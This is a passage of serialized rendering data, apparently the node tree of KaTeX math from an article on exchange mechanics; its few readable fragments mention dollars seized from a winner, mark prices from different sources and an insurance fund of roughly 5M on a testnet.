[1007],[],{"type":25,"tag":271,"props":174664,"children":174666},{"className":174665},[296],[174667,174671,174675,174680,174684,174741,174745,174750,174754],{"type":25,"tag":271,"props":174668,"children":174670},{"className":174669},[296],[],{"type":25,"tag":271,"props":174672,"children":174674},{"className":174673,"style":338},[337],[],{"type":25,"tag":271,"props":174676,"children":174678},{"className":174677},[356],[174679],{"type":30,"value":1065},{"type":25,"tag":271,"props":174681,"children":174683},{"className":174682,"style":338},[337],[],{"type":25,"tag":271,"props":174685,"children":174687},{"className":174686},[296],[174688,174693],{"type":25,"tag":271,"props":174689,"children":174691},{"className":174690},[296,297],[174692],{"type":30,"value":13243},{"type":25,"tag":271,"props":174694,"children":174696},{"className":174695},[982],[174697],{"type":25,"tag":271,"props":174698,"children":174700},{"className":174699},[987,1100],[174701,174730],{"type":25,"tag":271,"props":174702,"children":174704},{"className":174703},[992],[174705,174725],{"type":25,"tag":271,"props":174706,"children":174708},{"className":174707,"style":1918},[997],[174709],{"type":25,"tag":271,"props":174710,"children":174711},{"style":1592},[174712,174716],{"type":25,"tag":271,"props":174713,"children":174715},{"className":174714,"style":1008},[1007],[],{"type":25,"tag":271,"props":174717,"children":174719},{"className":174718},[1013,1014,1015,1016],[174720],{"type":25,"tag":271,"props":174721,"children":174723},{"className":174722},[296,297,1016],[174724],{"type":30,"value":1937},{"type":25,"tag":271,"props":174726,"children":174728},{"className":174727},[1177],[174729],{"type":30,"value":1180},{"type":25,"tag":271,"props":174731,"children":174733},{"className":174732},[992],[174734],{"type":25,"tag":271,"props":174735,"children":174737},{"className":174736,"style":1619},[997],[174738],{"type":25,"tag":271,"props":174739,"children":174740},{},[],{"type":25,"tag":271,"props":174742,"children":174744},{"className":174743,"style":2066},[337],[],{"type":25,"tag":271,"props":174746,"children":174748},{"className":174747},[2071],[174749],{"type":30,"value":2074},{"type":25,"tag":271,"props":174751,"children":174753},{"className":174752,"style":2066},[337],[],{"type":25,"tag":271,"props":174755,"children":174757},{"className":174756},[296],[174758,174763],{"type":25,"tag":271,"props":174759,"children":174761},{"className":174760,"style":1555},[296,297],[174762],{"type":30,"value":173558},{"type":25,"tag":271,"props":174764,"children":174766},{"className":174765},[982],[174767],{"type":25,"tag":271,"props":174768,"children":174770},{"className":174769},[987,1100],[174771,174800],{"type":25,"tag":271,"props":174772,"children":174774},{"className":174773},[992],[174775,174795],{"type":25,"tag":271,"props":174776,"children":174778},{"className":174777,"style":1918},[997],[174779],{"type":25,"tag":271,"props":174780,"children":174781},{"style":1922},[174782,174786],{"type":25,"tag":271,"props":174783,"children":174785},{"className":174784,"style":1008},[1007],[],{"type":25,"tag":271,"props":174787,"children":174789},{"className":174788},[1013,1014,1015,1016],[174790],{"type":25,"tag":271,"props":174791,"children":174793},{"className":174792},[296,297,1016],[174794],{"type":30,"value":1937},{"type":25,"tag":271,"props":174796,"children":174798},{"className":174797},[1177],[174799],{"type":30,"value":1180},{"type":25,"tag":271,"props":174801,"children":174803},{"className":174802},[992],[174804],{"type":25,"tag":271,"props":174805,"children":174807},{"className":174806,"style":1619},[997],[174808],{"type":25,"tag":271,"props":174809,"children":174810},{},[],{"type":25,"tag":271,"props":174812,"children":174813},{"style":173678},[174814,174818],{"type":25,"tag":271,"props":174815,"children":174817},{"className":174816,"style":173387},[1007],[],{"type":25,"tag":271,"props":174819,"children":174821},{"className":174820},[296],[174822,174826,174830,174835,174839],{"type":25,"tag":271,"props":174823,"children":174825},{"className":174824},[296],[],{"type":25,"tag":271,"props":174827,"children":174829},{"className":174828,"style":338},[337],[],{"type":25,"tag":271,"props":174831,"children":174833},{"className":174832},[356],[174834],{"type":30,"value":1065},{"type":25,"tag":271,"props":174836,"children":174838},{"className":174837,"style":338},[337],[],{"type":25,"tag":271,"props":174840,"children":174842},{"className":174841},[296],[174843,174848],{"type":25,"tag":271,"props":174844,"children":174846},{"className":174845,"style":1555},[296,297],[174847],{"type":30,"value":173558},{"type":25,"tag":271,"props":174849,"children":174851},{"className":174850},[982],[174852],{"type":25,"tag":271,"props":174853,"children":174855},{"className":174854},[987,1100],[174856,174904],{"type":25,"tag":271,"props":174857,"children":174859},{"className":174858},[992],[174860,174899],{"type":25,"tag":271,"props":174861,"children":174864},{"className":174862,"style":174863},[997],"height:0.8213em;",[174865,174882],{"type":25,"tag":271,"props":174866,"children":174868},{"style":174867},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[174869,174873],{"type":25,"tag":271,"props":174870,"children":174872},{"className":174871,"style":1008},[1007],[],{"type":25,"tag":271,"props":174874,"children":174876},{"className":174875},[1013,1014,1015,1016],[174877],{"type":25,"tag":271,"props":174878,"children":174880},{"className":174879},[296,297,1016],[174881],{"type":30,"value":1937},{"type":25,"tag":271,"props":174883,"children":174885},{"style":174884},"top:-3.113em;margin-right:0.05em;",[174886,174890],{"type":25,"tag":271,"props":174887,"children":174889},{"className":174888,"style":1008},[1007],[],{"type":25,"tag":271,"props":174891,"children":174893},{"className":174892},[1013,1014,1015,1016],[174894],{"type":25,"tag":271,"props":174895,"children":174897},{"className":174896},[2071,1016],[174898],{"type":30,"value":2074},{"type":25,"tag":271,"props":174900,"children":174902},{"className":174901},[1177],[174903],{"type":30,"value":1180},{"type":25,"tag":271,"props":174905,"children":174907},{"className":174906},[992],[174908],{"type":25,"tag":271,"props":174909,"children":174912},{"className":174910,"style":174911},[997],"height:0.267em;",[174913],{"type":25,"tag":271,"props":174914,"children":174915},{},[],{"type":25,"tag":271,"props":174917,"children":174918},{"style":173748},[174919,174923],{"type":25,"tag":271,"props":174920,"children":174922},{"className":174921,"style":173387},[1007],[],{"type":25,"tag":271,"props":174924,"children":174926},{"className":174925},[296],[174927,174931,174935,174940,174944,174954],{"type":25,"tag":271,"props":174928,"children":174930},{"className":174929},[296],[],{"type":25,"tag":271,"props":174932,"children":174934},{"className":174933,"style":338},[337],[],{"type":25,"tag":271,"props":174936,"children":174938},{"className":174937},[356],[174939],{"type":30,"value":34723},{"type":25,"tag":271,"props":174941,"children":174943},{"className":174942,"style":338},[337],[],{"type":25,"tag":271,"props":174945,"children":174947},{"className":174946},[296,30],[174948],{"type":25,"tag":271,"props":174949,"children":174951},{"className":174950},[296],[174952],{"type":30,"value":174953},"dollars seized from winner ",{"type":25,"tag":271,"props":174955,"children":174957},{"className":174956},[296,297],[174958],{"type":30,"value":1937},{"type":25,"tag":271,"props":174960,"children":174961},{"style":173817},[174962,174966],{"type":25,"tag":271,"props":174963,"children":174965},{"className":174964,"style":173387},[1007],[],{"type":25,"tag":271,"props":174967,"children":174969},{"className":174968},[296],[174970,174974,174978,174983,174987],{"type":25,"tag":271,"props":174971,"children":174973},{"className":174972},[296],[],{"type":25,"tag":271,"props":174975,"children":174977},{"className":174976,"style":338},[337],[],{"type":25,"tag":271,"props":174979,"children":174981},{"className":174980},[356],[174982],{"type":30,"value":1065},{"type":25,"tag":271,"props":174984,"children":174986},{"className":174985,"style":338},[337],[],{"type":25,"tag":271,"props":174988,"children":174990},{"className":174989},[296],[174991,174995,175176],{"type":25,"tag":271,"props":174992,"children":174994},{"className":174993},[391,5850],[],{"type":25,"tag":271,"props":174996,"children":174998},{"className":174997},[5855],[174999],{"type":25,"tag":271,"props":175000,"children":175002},{"className":175001},[987,1100],[175003,175164],{"type":25,"tag":271,"props":175004,"children":175006},{"className":175005},[992],[175007,175159],{"type":25,"tag":271,"props":175008,"children":175011},{"className":175009,"style":175010},[997],"height:1.1076em;",[175012,175080,175091],{"type":25,"tag":271,"props":175013,"children":175014},{"style":171596},[175015,175019],{"type":25,"tag":271,"props":175016,"children":175018},{"className":175017,"style":4495},[1007],[],{"type":25,"tag":271,"props":175020,"children":175022},{"className":175021},[296],[175023],{"type":25,"tag":271,"props":175024,"children":175026},{"className":175025},[296],[175027,175032],{"type":25,"tag":271,"props":175028,"children":175030},{"className":175029,"style":14678},[296,297],[175031],{"type":30,"value":11188},{"type":25,"tag":271,"props":175033,"children":175035},{"className":175034},[982],[175036],{"type":25,"tag":271,"props":175037,"children":175039},{"className":175038},[987,1100],[175040,175069],{"type":25,"tag":271,"props":175041,"children":175043},{"className":175042},[992],[175044,175064],{"type":25,"tag":271,"props":175045,"children":175047},{"className":175046,"style":1918},[997],[175048],{"type":25,"tag":271,"props":175049,"children":175050},{"style":173715},[175051,175055],{"type":25,"tag":271,"props":175052,"children":175054},{"className":175053,"style":1008},[1007],[],{"type":25,"tag":271,"props":175056,"children":175058},{"className":175057},[1013,1014,1015,1016],[175059],{"type":25,"tag":271,"props":175060,"children":175062},{"className":175061},[296,297,1016],[175063],{"type":30,"value":1937},{"type":25,"tag":271,"props":175065,"children":175067},{"className":175066},[1177],[175068],{"type":30,"value":1180},{"type":25,"tag":271,"props":175070,"children":175072},{"className":175071},[992],[175073],{"type":25,"tag":271,"props":175074,"children":175076},{"className":175075,"style":1619},[997],[175077],{"type":25,"tag":271,"props":175078,"children":175079},{},[],{"type":25,"tag":271,"props":175081,"children":175082},{"style":5905},[175083,175087],{"type":25,"tag":271,"props":175084,"children":175086},{"className":175085,"style":4495},[1007],[],{"type":25,"tag":271,"props":175088,"children":175090},{"className":175089,"style":5915},[5914],[],{"type":25,"tag":271,"props":175092,"children":175093},{"style":171647},[175094,175098],{"type":25,"tag":271,"props":175095,"children":175097},{"className":175096,"style":4495},[1007],[],{"type":25,"tag":271,"props":175099,"children":175101},{"className":175100},[296],[175102],{"type":25,"tag":271,"props":175103,"children":175105},{"className":175104},[296],[175106,175111],{"type":25,"tag":271,"props":175107,"children":175109},{"className":175108},[296,297],[175110],{"type":30,"value":1136},{"type":25,"tag":271,"props":175112,"children":175114},{"className":175113},[982],[175115],{"type":25,"tag":271,"props":175116,"children":175118},{"className":175117},[987,1100],[175119,175148],{"type":25,"tag":271,"props":175120,"children":175122},{"className":175121},[992],[175123,175143],{"type":25,"tag":271,"props":175124,"children":175126},{"className":175125,"style":1918},[997],[175127],{"type":25,"tag":271,"props":175128,"children":175129},{"style":1592},[175130,175134],{"type":25,"tag":271,"props":175131,"children":175133},{"className":175132,"style":1008},[1007],[],{"type":25,"tag":271,"props":175135,"children":175137},{"className":175136},[1013,1014,1015,1016],[175138],{"type":25,"tag":271,"props":175139,"children":175141},{"className":175140},[296,297,1016],[175142],{"type":30,"value":1937},{"type":25,"tag":271,"props":175144,"children":175146},{"className":175145},[1177],[175147],{"type":30,"value":1180},{"type":25,"tag":271,"props":175149,"children":175151},{"className":175150},[992],[175152],{"type":25,"tag":271,"props":175153,"children":175155},{"className":175154,"style":1619},[997],[175156],{"type":25,"tag":271,"props":175157,"children":175158},{},[],{"type":25,"tag":271,"props":175160,"children":175162},{"className":175161},[1177],[175163],{"type":30,"value":1180},{"type":25,"tag":271,"props":175165,"children":175167},{"className":175166},[992],[175168],{"type":25,"tag":271,"props":175169,"children":175172},{"className":175170,"style":175171},[997],"height:0.836em;",[175173],{"type":25,"tag":271,"props":175174,"children":175175},{},[],{"type":25,"tag":271,"props":175177,"children":175179},{"className":175178},[437,5850],[],{"type":25,"tag":271,"props":175181,"children":175182},{"style":173886},[175183,175187],{"type":25,"tag":271,"props":175184,"children":175186},{"className":175185,"style":173387},[1007],[],{"type":25,"tag":271,"props":175188,"children":175190},{"className":175189},[296],[175191,175195,175199,175204,175208,175278,175282],{"type":25,"tag":271,"props":175192,"children":175194},{"className":175193},[296],[],{"type":25,"tag":271,"props":175196,"children":175198},{"className":175197,"style":338},[337],[],{"type":25,"tag":271,"props":175200,"children":175202},{"className":175201},[356],[175203],{"type":30,"value":1065},{"type":25,"tag":271,"props":175205,"children":175207},{"className":175206,"style":338},[337],[],{"type":25,"tag":271,"props":175209,"children":175212},{"className":175210},[1082,175211],"op-limits",[175213],{"type":25,"tag":271,"props":175214,"children":175216},{"className":175215},[987,1100],[175217,175266],{"type":25,"tag":271,"props":175218,"children":175220},{"className":175219},[992],[175221,175261],{"type":25,"tag":271,"props":175222,"children":175225},{"className":175223,"style":175224},[997],"height:1.05em;",[175226,175244],{"type":25,"tag":271,"props":175227,"children":175229},{"style":175228},"top:-1.8723em;margin-left:0em;",[175230,175235],{"type":25,"tag":271,"props":175231,"children":175234},{"className":175232,"style":175233},[1007],"height:3.05em;",[],{"type":25,"tag":271,"props":175236,"children":175238},{"className":175237},[1013,1014,1015,1016],[175239],{"type":25,"tag":271,"props":175240,"children":175242},{"className":175241},[296,297,1016],[175243],{"type":30,"value":1937},{"type":25,"tag":271,"props":175245,"children":175247},{"style":175246},"top:-3.05em;",[175248,175252],{"type":25,"tag":271,"props":175249,"children":175251},{"className":175250,"style":175233},[1007],[],{"type":25,"tag":271,"props":175253,"children":175254},{},[175255],{"type":25,"tag":271,"props":175256,"children":175259},{"className":175257},[1082,1087,175258],"large-op",[175260],{"type":30,"value":1092},{"type":25,"tag":271,"props":175262,"children":175264},{"className":175263},[1177],[175265],{"type":30,"value":1180},{"type":25,"tag":271,"props":175267,"children":175269},{"className":175268},[992],[175270],{"type":25,"tag":271,"props":175271,"children":175274},{"className":175272,"style":175273},[997],"height:1.2777em;",[175275],{"type":25,"tag":271,"props":175276,"children":175277},{},[],{"type":25,"tag":271,"props":175279,"children":175281},{"className":175280,"style":411},[337],[],{"type":25,"tag":271,"props":175283,"children":175285},{"className":175284},[296],[175286,175291],{"type":25,"tag":271,"props":175287,"children":175289},{"className":175288},[296,297],[175290],{"type":30,"value":1136},{"type":25,"tag":271,"props":175292,"children":175294},{"className":175293},[982],[175295],{"type":25,"tag":271,"props":175296,"children":175298},{"className":175297},[987,1100],[175299,175328],{"type":25,"tag":271,"props":175300,"children":175302},{"className":175301},[992],[175303,175323],{"type":25,"tag":271,"props":175304,"children":175306},{"className":175305,"style":1918},[997],[175307],{"type":25,"tag":271,"props":175308,"children":175309},{"style":1592},[175310,175314],{"type":25,"tag":271,"props":175311,"children":175313},{"className":175312,"style":1008},[1007],[],{"type":25,"tag":271,"props":175315,"children":175317},{"className":175316},[1013,1014,1015,1016],[175318],{"type":25,"tag":271,"props":175319,"children":175321},{"className":175320},[296,297,1016],[175322],{"type":30,"value":1937},{"type":25,"tag":271,"props":175324,"children":175326},{"className":175325},[1177],[175327],{"type":30,"value":1180},{"type":25,"tag":271,"props":175329,"children":175331},{"className":175330},[992],[175332],{"type":25,"tag":271,"props":175333,"children":175335},{"className":175334,"style":1619},[997],[175336],{"type":25,"tag":271,"props":175337,"children":175338},{},[],{"type":25,"tag":271,"props":175340,"children":175341},{"style":173955},[175342,175346],{"type":25,"tag":271,"props":175343,"children":175345},{"className":175344,"style":173387},[1007],[],{"type":25,"tag":271,"props":175347,"children":175349},{"className":175348},[296],[175350,175354,175358,175363,175367,175430,175434,175439,175444,175449,175506,175511,175515,175519,175524],{"type":25,"tag":271,"props":175351,"children":175353},{"className":175352},[296],[],{"type":25,"tag":271,"props":175355,"children":175357},{"className":175356,"style":338},[337],[],{"type":25,"tag":271,"props":175359,"children":175361},{"className":175360},[356],[175362],{"type":30,"value":1065},{"type":25,"tag":271,"props":175364,"children":175366},{"className":175365,"style":338},[337],[],{"type":25,"tag":271,"props":175368,"children":175370},{"className":175369},[1082,175211],[175371],{"type":25,"tag":271,"props":175372,"children":175374},{"className":175373},[987,1100],[175375,175419],{"type":25,"tag":271,"props":175376,"children":175378},{"className":175377},[992],[175379,175414],{"type":25,"tag":271,"props":175380,"children":175382},{"className":175381,"style":175224},[997],[175383,175399],{"type":25,"tag":271,"props":175384,"children":175385},{"style":175228},[175386,175390],{"type":25,"tag":271,"props":175387,"children":175389},{"className":175388,"style":175233},[1007],[],{"type":25,"tag":271,"props":175391,"children":175393},{"className":175392},[1013,1014,1015,1016],[175394],{"type":25,"tag":271,"props":175395,"children":175397},{"className":175396},[296,297,1016],[175398],{"type":30,"value":1937},{"type":25,"tag":271,"props":175400,"children":175401},{"style":175246},[175402,175406],{"type":25,"tag":271,"props":175403,"children":175405},{"className":175404,"style":175233},[1007],[],{"type":25,"tag":271,"props":175407,"children":175408},{},[175409],{"type":25,"tag":271,"props":175410,"children":175412},{"className":175411},[1082,1087,175258],[175413],{"type":30,"value":1092},{"type":25,"tag":271,"props":175415,"children":175417},{"className":175416},[1177],[175418],{"type":30,"value":1180},{"type":25,"tag":271,"props":175420,"children":175422},{"className":175421},[992],[175423],{"type":25,"tag":271,"props":175424,"children":175426},{"className":175425,"style":175273},[997],[175427],{"type":25,"tag":271,"props":175428,"children":175429},{},[],{"type":25,"tag":271,"props":175431,"children":175433},{"className":175432,"style":411},[337],[],{"type":25,"tag":271,"props":175435,"children":175437},{"className":175436},[1082],[175438],{"type":30,"value":173101},{"type":25,"tag":271,"props":175440,"children":175442},{"className":175441},[391],[175443],{"type":30,"value":394},{"type":25,"tag":271,"props":175445,"children":175447},{"className":175446},[296],[175448],{"type":30,"value":2774},{"type":25,"tag":271,"props":175450,"children":175452},{"className":175451},[296],[175453,175458],{"type":25,"tag":271,"props":175454,"children":175456},{"className":175455},[296,297],[175457],{"type":30,"value":64570},{"type":25,"tag":271,"props":175459,"children":175461},{"className":175460},[982],[175462],{"type":25,"tag":271,"props":175463,"children":175465},{"className":175464},[987,1100],[175466,175495],{"type":25,"tag":271,"props":175467,"children":175469},{"className":175468},[992],[175470,175490],{"type":25,"tag":271,"props":175471,"children":175473},{"className":175472,"style":1918},[997],[175474],{"type":25,"tag":271,"props":175475,"children":175476},{"style":1592},[175477,175481],{"type":25,"tag":271,"props":175478,"children":175480},{"className":175479,"style":1008},[1007],[],{"type":25,"tag":271,"props":175482,"children":175484},{"className":175483},[1013,1014,1015,1016],[175485],{"type":25,"tag":271,"props":175486,"children":175488},{"className":175487},[296,297,1016],[175489],{"type":30,"value":1937},{"type":25,"tag":271,"props":175491,"children":175493},{"className":175492},[1177],[175494],{"type":30,"value":1180},{"type":25,"tag":271,"props":175496,"children":175498},{"className":175497},[992],[175499],{"type":25,"tag":271,"props":175500,"children":175502},{"className":175501,"style":1619},[997],[175503],{"type":25,"tag":271,"props":175504,"children":175505},{},[],{"type":25,"tag":271,"props":175507,"children":175509},{"className":175508},[404],[175510],{"type":30,"value":407},{"type":25,"tag":271,"props":175512,"children":175514},{"className":175513,"style":411},[337],[],{"type":25,"tag":271,"props":175516,"children":175518},{"className":175517,"style":411},[337],[],{"type":25,"tag":271,"props":175520,"children":175522},{"className":175521},[296],[175523],{"type":30,"value":953},{"type":25,"tag":271,"props":175525,"children":175527},{"className":175526},[437],[175528],{"type":30,"value":440},{"type":25,"tag":271,"props":175530,"children":175531},{"style":174025},[175532,175536],{"type":25,"tag":271,"props":175533,"children":175535},{"className":175534,"style":173387},[1007],[],{"type":25,"tag":271,"props":175537,"children":175539},{"className":175538},[296],[175540,175544,175548,175553,175557,175620,175624],{"type":25,"tag":271,"props":175541,"children":175543},{"className":175542},[296],[],{"type":25,"tag":271,"props":175545,"children":175547},{"className":175546,"style":338},[337],[],{"type":25,"tag":271,"props":175549,"children":175551},{"className":175550},[356],[175552],{"type":30,"value":1065},{"type":25,"tag":271,"props":175554,"children":175556},{"className":175555,"style":338},[337],[],{"type":25,"tag":271,"props":175558,"children":175560},{"className":175559},[1082,175211],[175561],{"type":25,"tag":271,"props":175562,"children":175564},{"className":175563},[987,1100],[175565,175609],{"type":25,"tag":271,"props":175566,"children":175568},{"className":175567},[992],[175569,175604],{"type":25,"tag":271,"props":175570,"children":175572},{"className":175571,"style":175224},[997],[175573,175589],{"type":25,"tag":271,"props":175574,"children":175575},{"style":175228},[175576,175580],{"type":25,"tag":271,"props":175577,"children":175579},{"className":175578,"style":175233},[1007],[],{"type":25,"tag":271,"props":175581,"children":175583},{"className":175582},[1013,1014,1015,1016],[175584],{"type":25,"tag":271,"props":175585,"children":175587},{"className":175586},[296,297,1016],[175588],{"type":30,"value":1937},{"type":25,"tag":271,"props":175590,"children":175591},{"style":175246},[175592,175596],{"type":25,"tag":271,"props":175593,"children":175595},{"className":175594,"style":175233},[1007],[],{"type":25,"tag":271,"props":175597,"children":175598},{},[175599],{"type":25,"tag":271,"props":175600,"children":175602},{"className":175601},[1082,1087,175258],[175603],{"type":30,"value":1092},{"type":25,"tag":271,"props":175605,"children":175607},{"className":175606},[1177],[175608],{"type":30,"value":1180},{"type":25,"tag":271,"props":175610,"children":175612},{"className":175611},[992],[175613],{"type":25,"tag":271,"props":175614,"children":175616},{"className":175615,"style":175273},[997],[175617],{"type":25,"tag":271,"props":175618,"children":175619},{},[],{"type":25,"tag":271,"props":175621,"children":175623},{"className":175622,"style":411},[337],[],{"type":25,"tag":271,"props":175625,"children":175627},{"className":175626},[296],[175628,175633],{"type":25,"tag":271,"props":175629,"children":175631},{"className":175630,"style":14678},[296,297],[175632],{"type":30,"value":11188},{"type":25,"tag":271,"props":175634,"children":175636},{"className":175635},[982],[175637],{"type":25,"tag":271,"props":175638,"children":175640},{"className":175639},[987,1100],[175641,175670],{"type":25,"tag":271,"props":175642,"children":175644},{"className":175643},[992],[175645,175665],{"type":25,"tag":271,"props":175646,"children":175648},{"className":175647,"style":1918},[997],[175649],{"type":25,"tag":271,"props":175650,"children":175651},{"style":173715},[175652,175656],{"type":25,"tag":271,"props":175653,"children":175655},{"className":175654,"style":1008},[1007],[],{"type":25,"tag":271,"props":175657,"children":175659},{"className":175658},[1013,1014,1015,1016],[175660],{"type":25,"tag":271,"props":175661,"children":175663},{"className":175662},[296,297,1016],[175664],{"type":30,"value":1937},{"type":25,"tag":271,"props":175666,"children":175668},{"className":175667},[1177],[175669],{"type":30,"value":1180},{"type":25,"tag":271,"props":175671,"children":175673},{"className":175672},[992],[175674],{"type":25,"tag":271,"props":175675,"children":175677},{"className":175676,"style":1619},[997],[175678],{"type":25,"tag":271,"props":175679,"children":175680},{},[],{"type":25,"tag":271,"props":175682,"children":175683},{"style":174096},[175684,175688],{"type":25,"tag":271,"props":175685,"children":175687},{"className":175686,"style":173387},[1007],[],{"type":25,"tag":271,"props":175689,"children":175691},{"className":175690},[296],[175692,175696,175700,175705,175709,175714,175719,175776,175780,175785,175789,175794,175798,175803,175807,175864,175869,175873,175877,175882],{"type":25,"tag":271,"props":175693,"children":175695},{"className":175694},[296],[],{"type":25,"tag":271,"props":175697,"children":175699},{"className":175698,"style":338},[337],[],{"type":25,"tag":271,"props":175701,"children":175703},{"className":175702},[356],[175704],{"type":30,"value":1065},{"type":25,"tag":271,"props":175706,"children":175708},{"className":175707,"style":338},[337],[],{"type":25,"tag":271,"props":175710,"children":175712},{"className":175711},[1082],[175713],{"type":30,"value":173101},{"type":25,"tag":271,"props":175715,"children":175717},{"className":175716},[391],[175718],{"type":30,"value":394},{"type":25,"tag":271,"props":175720,"children":175722},{"className":175721},[296],[175723,175728],{"type":25,"tag":271,"props":175724,"children":175726},{"className":175725,"style":2296},[296,297],[175727],{"type":30,"value":173974},{"type":25,"tag":271,"props":175729,"children":175731},{"className":175730},[982],[175732],{"type":25,"tag":271,"props":175733,"children":175735},{"className":175734},[987,1100],[175736,175765],{"type":25,"tag":271,"props":175737,"children":175739},{"className":175738},[992],[175740,175760],{"type":25,"tag":271,"props":175741,"children":175743},{"className":175742,"style":155042},[997],[175744],{"type":25,"tag":271,"props":175745,"children":175746},{"style":2318},[175747,175751],{"type":25,"tag":271,"props":175748,"children":175750},{"className":175749,"style":1008},[1007],[],{"type":25,"tag":271,"props":175752,"children":175754},{"className":175753},[1013,1014,1015,1016],[175755],{"type":25,"tag":271,"props":175756,"children":175758},{"className":175757,"style":298},[296,297,1016],[175759],{"type":30,"value":301},{"type":25,"tag":271,"props":175761,"children":175763},{"className":175762},[1177],[175764],{"type":30,"value":1180},{"type":25,"tag":271,"props":175766,"children":175768},{"className":175767},[992],[175769],{"type":25,"tag":271,"props":175770,"children":175772},{"className":175771,"style":1619},[997],[175773],{"type":25,"tag":271,"props":175774,"children":175775},{},[],{"type":25,"tag":271,"props":175777,"children":175779},{"className":175778,"style":2066},[337],[],{"type":25,"tag":271,"props":175781,"children":175783},{"className":175782},[2071],[175784],{"type":30,"value":2774},{"type":25,"tag":271,"props":175786,"children":175788},{"className":175787,"style":2066},[337],[],{"type":25,"tag":271,"props":175790,"children":175792},{"className":175791,"style":416},[296,297],[175793],{"type":30,"value":108197},{"type":25,"tag":271,"props":175795,"children":175797},{"className":175796,"style":2066},[337],[],{"type":25,"tag":271,"props":175799,"children":175801},{"className":175800},[2071],[175802],{"type":30,"value":2774},{"type":25,"tag":271,"props":175804,"children":175806},{"className":175805,"style":2066},[337],[],{"type":25,"tag":271,"props":175808,"children":175810},{"className":175809},[296],[175811,175816],{"type":25,"tag":271,"props":175812,"children":175814},{"className":175813,"style":1052},[296,297],[175815],{"type":30,"value":1055},{"type":25,"tag":271,"props":175817,"children":175819},{"className":175818},[982],[175820],{"type":25,"tag":271,"props":175821,"children":175823},{"className":175822},[987,1100],[175824,175853],{"type":25,"tag":271,"props":175825,"children":175827},{"className":175826},[992],[175828,175848],{"type":25,"tag":271,"props":175829,"children":175831},{"className":175830,"style":155042},[997],[175832],{"type":25,"tag":271,"props":175833,"children":175834},{"style":2750},[175835,175839],{"type":25,"tag":271,"props":175836,"children":175838},{"className":175837,"style":1008},[1007],[],{"type":25,"tag":271,"props":175840,"children":175842},{"className":175841},[1013,1014,1015,1016],[175843],{"type":25,"tag":271,"props":175844,"children":175846},{"className":175845,"style":298},[296,297,1016],[175847],{"type":30,"value":301},{"type":25,"tag":271,"props":175849,"children":175851},{"className":175850},[1177],[175852],{"type":30,"value":1180},{"type":25,"tag":271,"props":175854,"children":175856},{"className":175855},[992],[175857],{"type":25,"tag":271,"props":175858,"children":175860},{"className":175859,"style":1619},[997],[175861],{"type":25,"tag":271,"props":175862,"children":175863},{},[],{"type":25,"tag":271,"props":175865,"children":175867},{"className":175866},[404],[175868],{"type":30,"value":407},{"type":25,"tag":271,"props":175870,"children":175872},{"className":175871,"style":411},[337],[],{"type":25,"tag":271,"props":175874,"children":175876},{"className":175875,"style":411},[337],[],{"type":25,"tag":271,"props":175878,"children":175880},{"className":175879},[296],[175881],{"type":30,"value":953},{"type":25,"tag":271,"props":175883,"children":175885},{"className":175884},[437],[175886],{"type":30,"value":440},{"type":25,"tag":271,"props":175888,"children":175890},{"className":175889},[1177],[175891],{"type":30,"value":1180},{"type":25,"tag":271,"props":175893,"children":175895},{"className":175894},[992],[175896],{"type":25,"tag":271,"props":175897,"children":175899},{"className":175898,"style":174177},[997],[175900],{"type":25,"tag":271,"props":175901,"children":175902},{},[],{"type":25,"tag":26,"props":175904,"children":175905},{},[175906,175907,175984,175986,176011,176013,176090,176092,176169],{"type":30,"value":394},{"type":25,"tag":264,"props":175908,"children":175910},{"className":175909},[267,268],[175911],{"type":25,"tag":271,"props":175912,"children":175914},{"className":175913},[274],[175915],{"type":25,"tag":271,"props":175916,"children":175918},{"className":175917,"ariaHidden":280},[279],[175919],{"type":25,"tag":271,"props":175920,"children":175922},{"className":175921},[285],[175923,175927],{"type":25,"tag":271,"props":175924,"children":175926},{"className":175925,"style":3320},[290],[],{"type":25,"tag":271,"props":175928,"children":175930},{"className":175929},[296],[175931,175936],{"type":25,"tag":271,"props":175932,"children":175934},{"className":175933,"style":298},[296,297],[175935],{"type":30,"value":400},{"type":25,"tag":271,"props":175937,"children":175939},{"className":175938},[982],[175940],{"type":25,"tag":271,"props":175941,"children":175943},{"className":175942},[987,1100],[175944,175973],{"type":25,"tag":271,"props":175945,"children":175947},{"className":175946},[992],[175948,175968],{"type":25,"tag":271,"props":175949,"children":175951},{"className":175950,"style":1742},[997],[175952],{"type":25,"tag":271,"props":175953,"children":175954},{"style":173420},[175955,175959],{"type":25,"tag":271,"props":175956,"children":175958},{"className":175957,"style":1008},[1007],[],{"type":25,"tag":271,"props":175960,"children":175962},{"className":175961},[1013,1014,1015,1016],[175963],{"type":25,"tag":271,"props":175964,"children":175966},{"className":175965},[296,297,1016],[175967],{"type":30,"value":1023},{"type":25,"tag":271,"props":175969,"children":175971},{"className":175970},[1177],[175972],{"type":30,"value":1180},{"type":25,"tag":271,"props":175974,"children":175976},{"className":175975},[992],[175977],{"type":25,"tag":271,"props":175978,"children":175980},{"className":175979,"style":1619},[997],[175981],{"type":25,"tag":271,"props":175982,"children":175983},{},[],{"type":30,"value":175985},": mark price from different sources; ",{"type":25,"tag":264,"props":175987,"children":175989},{"className":175988},[267,268],[175990],{"type":25,"tag":271,"props":175991,"children":175993},{"className":175992},[274],[175994],{"type":25,"tag":271,"props":175995,"children":175997},{"className":175996,"ariaHidden":280},[279],[175998],{"type":25,"tag":271,"props":175999,"children":176001},{"className":176000},[285],[176002,176006],{"type":25,"tag":271,"props":176003,"children":176005},{"className":176004,"style":291},[290],[],{"type":25,"tag":271,"props":176007,"children":176009},{"className":176008,"style":416},[296,297],[176010],{"type":30,"value":108197},{"type":30,"value":176012},": insurance fund, roughly the 5M on testnet HL; 